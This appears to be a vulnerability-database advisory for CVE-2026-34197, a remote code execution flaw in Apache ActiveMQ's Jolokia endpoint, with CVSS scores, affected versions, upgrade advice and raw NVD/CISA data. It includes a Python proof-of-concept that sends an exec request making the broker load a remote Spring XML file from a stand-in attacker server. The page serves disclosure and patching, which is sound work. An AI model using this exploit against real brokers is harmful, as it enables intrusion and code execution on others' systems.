Security Vulnerability Report
中文
CVE-2026-34197 CVSS 8.8 HIGH

CVE-2026-34197

Published: 2026-04-07 09:16:21
Last Modified: 2026-04-16 19:59:38

Description

Improper Input Validation, Improper Control of Generation of Code ('Code Injection') vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ. Apache ActiveMQ Classic exposes the Jolokia JMX-HTTP bridge at /api/jolokia/ on the web console. The default Jolokia access policy permits exec operations on all ActiveMQ MBeans (org.apache.activemq:*), including BrokerService.addNetworkConnector(String) and BrokerService.addConnector(String). An authenticated attacker can invoke these operations with a crafted discovery URI that triggers the VM transport's brokerConfig parameter to load a remote Spring XML application context using ResourceXmlApplicationContext. Because Spring's ResourceXmlApplicationContext instantiates all singleton beans before the BrokerService validates the configuration, arbitrary code execution occurs on the broker's JVM through bean factory methods such as Runtime.exec(). This issue affects Apache ActiveMQ Broker: before 5.19.4, from 6.0.0 before 6.2.3; Apache ActiveMQ All: before 5.19.4, from 6.0.0 before 6.2.3; Apache ActiveMQ: before 5.19.4, from 6.0.0 before 6.2.3. Users are recommended to upgrade to version 5.19.4 or 6.2.3, which fixes the issue

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:apache:activemq:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:apache:activemq:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:apache:activemq_broker:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:apache:activemq_broker:*:*:*:*:*:*:*:* - VULNERABLE
Apache ActiveMQ < 5.19.4
Apache ActiveMQ >= 6.0.0, < 6.2.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2026-34197 PoC: Apache ActiveMQ RCE via Jolokia and Spring XML # Target: Apache ActiveMQ before 5.19.4 or before 6.2.3 target_url = "http://target-ip:8161/api/jolokia" attacker_xml_url = "http://attacker-server/malicious-context.xml" auth = ('admin', 'admin') # Requires valid low-privilege credentials # The vulnerability allows invoking BrokerService.addNetworkConnector with a crafted discovery URI. # The VM transport's brokerConfig parameter points to a remote Spring XML resource. payload = { "type": "exec", "mbean": "org.apache.activemq:brokerName=localhost,type=Broker", "operation": "addNetworkConnector(java.lang.String)", "arguments": [ f"vm://broker1?networkConfig=static://(tcp://localhost:61616)&brokerConfig={attacker_xml_url}" ] } headers = {'Content-Type': 'application/json'} try: print(f"[*] Sending payload to {target_url}...") response = requests.post(target_url, data=json.dumps(payload), headers=headers, auth=auth) if response.status_code == 200: print("[+] Request sent successfully. Check for code execution.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed to send request. Status: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34197", "sourceIdentifier": "[email protected]", "published": "2026-04-07T09:16:20.967", "lastModified": "2026-04-16T19:59:38.107", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Input Validation, Improper Control of Generation of Code ('Code Injection') vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ.\n\nApache ActiveMQ Classic exposes the Jolokia JMX-HTTP bridge at /api/jolokia/ on the web console. The default Jolokia access policy permits exec operations on all ActiveMQ MBeans (org.apache.activemq:*), including\nBrokerService.addNetworkConnector(String) and BrokerService.addConnector(String).\n\nAn authenticated attacker can invoke these operations with a crafted discovery URI that triggers the VM transport's brokerConfig parameter to load a remote Spring XML application context using ResourceXmlApplicationContext.\nBecause Spring's ResourceXmlApplicationContext instantiates all singleton beans before the BrokerService validates the configuration, arbitrary code execution occurs on the broker's JVM through bean factory methods such as Runtime.exec().\n\n\n\nThis issue affects Apache ActiveMQ Broker: before 5.19.4, from 6.0.0 before 6.2.3; Apache ActiveMQ All: before 5.19.4, from 6.0.0 before 6.2.3; Apache ActiveMQ: before 5.19.4, from 6.0.0 before 6.2.3.\n\n\n\nUsers are recommended to upgrade to version 5.19.4 or 6.2.3, which fixes the issue"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "cisaExploitAdd": "2026-04-16", "cisaActionDue": "2026-04-30", "cisaRequiredAction": "Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.", "cisaVulnerabilityName": "Apache ActiveMQ Improper Input Validation Vulnerability", "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:activemq:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.19.4", "matchCriteriaId": "83EF7DD6-C3A9-4561-ADC0-1E6ED5429307"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:activemq:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0.0", "versionEndExcluding": "6.2.3", "matchCriteriaId": "4C156202-D239-4ECD-B409-2C22E063F030"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:activemq_broker:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.19.4", "matchCriteriaId": "ECEF15DD-10E8-40A4-897B-3DA7F12E2C07"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:activemq_broker:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0.0", "versionEndExcluding": "6.2.3", "matchCriteriaId": "1623B4ED-853E-4562-AD04-804AAF87D937"}]}]}], "references": [{"url": "https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/06/3", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}, {"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-34197", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["US Government Resource"]}]}}